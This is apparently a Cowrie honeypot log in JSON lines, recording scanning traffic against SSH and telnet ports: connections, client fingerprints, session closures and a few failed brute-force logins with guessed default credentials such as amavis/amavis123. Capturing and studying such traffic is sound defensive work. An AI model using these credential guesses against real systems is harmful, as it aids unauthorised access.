{"eventid":"cowrie.login.failed","username":"amavis","password":"amavis123","message":"login attempt [amavis/amavis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:30.105561Z","src_ip":"159.203.92.129","session":"7dc12cb6f81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:31.113018Z","src_ip":"159.203.92.129","session":"7dc12cb6f81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.381671667099,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:32.213634Z","src_ip":"162.253.42.116","session":"dcb193f943cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":36268,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec7f2474fd29","protocol":"telnet","message":"New connection: 104.248.46.74:36268 (159.203.135.109:23) [session: ec7f2474fd29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:33.157525Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":36280,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bb7bde97d54","protocol":"telnet","message":"New connection: 104.248.46.74:36280 (159.203.135.109:23) [session: 9bb7bde97d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:33.167859Z"}
{"eventid":"cowrie.session.closed","duration":45.54296278953552,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:33.350299Z","src_ip":"208.82.116.131","session":"ab8272b17b60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.91218304634094,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:33.418907Z","src_ip":"208.82.116.131","session":"8473d9866e58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.40634751319885,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:33.936001Z","src_ip":"208.82.116.131","session":"8d6b05ab552b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.20422124862671,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:33.978334Z","src_ip":"208.82.116.131","session":"bf65c20c102f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.071842670440674,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:36.097728Z","src_ip":"162.253.42.116","session":"fd99d9059000","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":37672,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f0477257d45","protocol":"telnet","message":"New connection: 104.248.46.74:37672 (159.203.135.109:23) [session: 0f0477257d45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:38.516182Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34440,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e0989c74a7b","protocol":"telnet","message":"New connection: 162.253.42.116:34440 (10.17.0.5:23) [session: 6e0989c74a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:38.756852Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":38848,"dst_ip":"159.203.135.109","dst_port":23,"session":"50a156a279a5","protocol":"telnet","message":"New connection: 104.248.46.74:38848 (159.203.135.109:23) [session: 50a156a279a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:40.960615Z"}
{"eventid":"cowrie.session.closed","duration":36.03366827964783,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:41.862703Z","src_ip":"162.253.42.116","session":"1697b0d78755","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":39316,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c827bfafc5d","protocol":"telnet","message":"New connection: 104.248.46.74:39316 (159.203.135.109:23) [session: 5c827bfafc5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:43.346511Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":57210,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b16ed91db9c","protocol":"telnet","message":"New connection: 208.82.116.131:57210 (159.203.135.109:23) [session: 9b16ed91db9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:44.307589Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":57252,"dst_ip":"159.203.135.109","dst_port":23,"session":"6344cf4eca8d","protocol":"telnet","message":"New connection: 208.82.116.131:57252 (159.203.135.109:23) [session: 6344cf4eca8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:44.405118Z"}
{"eventid":"cowrie.session.closed","duration":35.23955225944519,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:46.634864Z","src_ip":"104.248.46.74","session":"3c4ca3be03d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.27935838699341,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:47.498605Z","src_ip":"104.248.46.74","session":"7e6cf24775f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":41796,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5af5c1b99aa","protocol":"telnet","message":"New connection: 104.248.46.74:41796 (159.203.135.109:23) [session: d5af5c1b99aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:53.057058Z"}
{"eventid":"cowrie.session.closed","duration":36.46321105957031,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:55.481767Z","src_ip":"104.248.46.74","session":"985a4923831f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.57383632659912,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:56.674132Z","src_ip":"104.248.46.74","session":"c88499961a11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.523658990859985,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:57.602591Z","src_ip":"104.248.46.74","session":"2c57616eb9ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.820980072021484,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:58.222583Z","src_ip":"104.248.46.74","session":"b2af869e9a60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.870877742767334,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:36:59.573535Z","src_ip":"104.248.46.74","session":"48d81fb0d98d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":45490,"dst_ip":"159.203.135.109","dst_port":23,"session":"bef201777952","protocol":"telnet","message":"New connection: 104.248.46.74:45490 (159.203.135.109:23) [session: bef201777952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:05.343322Z"}
{"eventid":"cowrie.session.closed","duration":35.90341377258301,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:09.060820Z","src_ip":"104.248.46.74","session":"ec7f2474fd29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.37.105.67","src_port":54902,"dst_ip":"159.203.135.109","dst_port":23,"session":"3159dea4a2f8","protocol":"telnet","message":"New connection: 187.37.105.67:54902 (159.203.135.109:23) [session: 3159dea4a2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:11.637145Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46104,"dst_ip":"159.203.135.109","dst_port":22,"session":"782a02878d4e","protocol":"ssh","message":"New connection: 159.203.92.129:46104 (159.203.135.109:22) [session: 782a02878d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:12.577275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:12.581127Z","src_ip":"159.203.92.129","session":"782a02878d4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:12.584408Z","src_ip":"159.203.92.129","session":"782a02878d4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amavisd","password":"amavisd","message":"login attempt [amavisd/amavisd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:12.593755Z","src_ip":"159.203.92.129","session":"782a02878d4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:13.598894Z","src_ip":"159.203.92.129","session":"782a02878d4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.85296702384949,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:14.609705Z","src_ip":"162.253.42.116","session":"6e0989c74a7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.197141885757446,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:14.713164Z","src_ip":"104.248.46.74","session":"0f0477257d45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":52034,"dst_ip":"10.17.0.5","dst_port":22,"session":"dddad2f7ade0","protocol":"ssh","message":"New connection: 45.78.194.242:52034 (10.17.0.5:22) [session: dddad2f7ade0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:15.368736Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":47618,"dst_ip":"159.203.135.109","dst_port":23,"session":"3daa2552fdb9","protocol":"telnet","message":"New connection: 104.248.46.74:47618 (159.203.135.109:23) [session: 3daa2552fdb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:15.497878Z"}
{"eventid":"cowrie.session.closed","duration":33.050647497177124,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:16.397074Z","src_ip":"104.248.46.74","session":"5c827bfafc5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.4983184337616,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:16.666048Z","src_ip":"104.248.46.74","session":"9bb7bde97d54","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:17.013238Z","src_ip":"45.78.194.242","session":"dddad2f7ade0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:17.016998Z","src_ip":"45.78.194.242","session":"dddad2f7ade0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":48722,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1b35795eb64","protocol":"telnet","message":"New connection: 104.248.46.74:48722 (159.203.135.109:23) [session: c1b35795eb64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:23.524652Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":57990,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a8591b491fc","protocol":"telnet","message":"New connection: 162.253.42.116:57990 (10.17.0.5:23) [session: 5a8591b491fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:23.609017Z"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:23.734291Z","src_ip":"45.78.194.242","session":"dddad2f7ade0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.86492419242859,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:24.172209Z","src_ip":"208.82.116.131","session":"9b16ed91db9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.210588455200195,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:24.847633Z","src_ip":"187.37.105.67","session":"3159dea4a2f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.2393364906311,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:26.296267Z","src_ip":"104.248.46.74","session":"d5af5c1b99aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":50644,"dst_ip":"159.203.135.109","dst_port":23,"session":"747e2d346f4b","protocol":"telnet","message":"New connection: 104.248.46.74:50644 (159.203.135.109:23) [session: 747e2d346f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:31.206436Z"}
{"eventid":"cowrie.session.closed","duration":47.22917079925537,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:31.634195Z","src_ip":"208.82.116.131","session":"6344cf4eca8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.594064474105835,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:34.554586Z","src_ip":"104.248.46.74","session":"50a156a279a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.27890110015869,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:39.622129Z","src_ip":"104.248.46.74","session":"bef201777952","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":52118,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c5ce12133d4","protocol":"telnet","message":"New connection: 104.248.46.74:52118 (159.203.135.109:23) [session: 8c5ce12133d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:40.148606Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":52500,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf4d0c82dbc5","protocol":"telnet","message":"New connection: 104.248.46.74:52500 (159.203.135.109:23) [session: bf4d0c82dbc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:41.145448Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":44860,"dst_ip":"10.17.0.5","dst_port":22,"session":"7adb474bcc18","protocol":"ssh","message":"New connection: 45.148.10.121:44860 (10.17.0.5:22) [session: 7adb474bcc18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:44.660026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:44.664842Z","src_ip":"45.148.10.121","session":"7adb474bcc18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:44.753084Z","src_ip":"45.148.10.121","session":"7adb474bcc18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.399410009384155,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:49.897138Z","src_ip":"104.248.46.74","session":"3daa2552fdb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":56090,"dst_ip":"159.203.135.109","dst_port":23,"session":"f08e6ff4267e","protocol":"telnet","message":"New connection: 208.82.116.131:56090 (159.203.135.109:23) [session: f08e6ff4267e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:52.068227Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":56124,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1865d9b928d","protocol":"telnet","message":"New connection: 208.82.116.131:56124 (159.203.135.109:23) [session: e1865d9b928d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:52.135784Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":56174,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e01fa80d22d","protocol":"telnet","message":"New connection: 208.82.116.131:56174 (159.203.135.109:23) [session: 8e01fa80d22d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:52.228070Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":56186,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c42112c67d4","protocol":"telnet","message":"New connection: 208.82.116.131:56186 (159.203.135.109:23) [session: 0c42112c67d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:52.236226Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42578,"dst_ip":"159.203.135.109","dst_port":22,"session":"9de9c8c0b91c","protocol":"ssh","message":"New connection: 159.203.92.129:42578 (159.203.135.109:22) [session: 9de9c8c0b91c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:54.943124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:54.948072Z","src_ip":"159.203.92.129","session":"9de9c8c0b91c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:54.952841Z","src_ip":"159.203.92.129","session":"9de9c8c0b91c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amax","password":"111111","message":"login attempt [amax/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:37:55.005059Z","src_ip":"159.203.92.129","session":"9de9c8c0b91c","protocol":"ssh"}
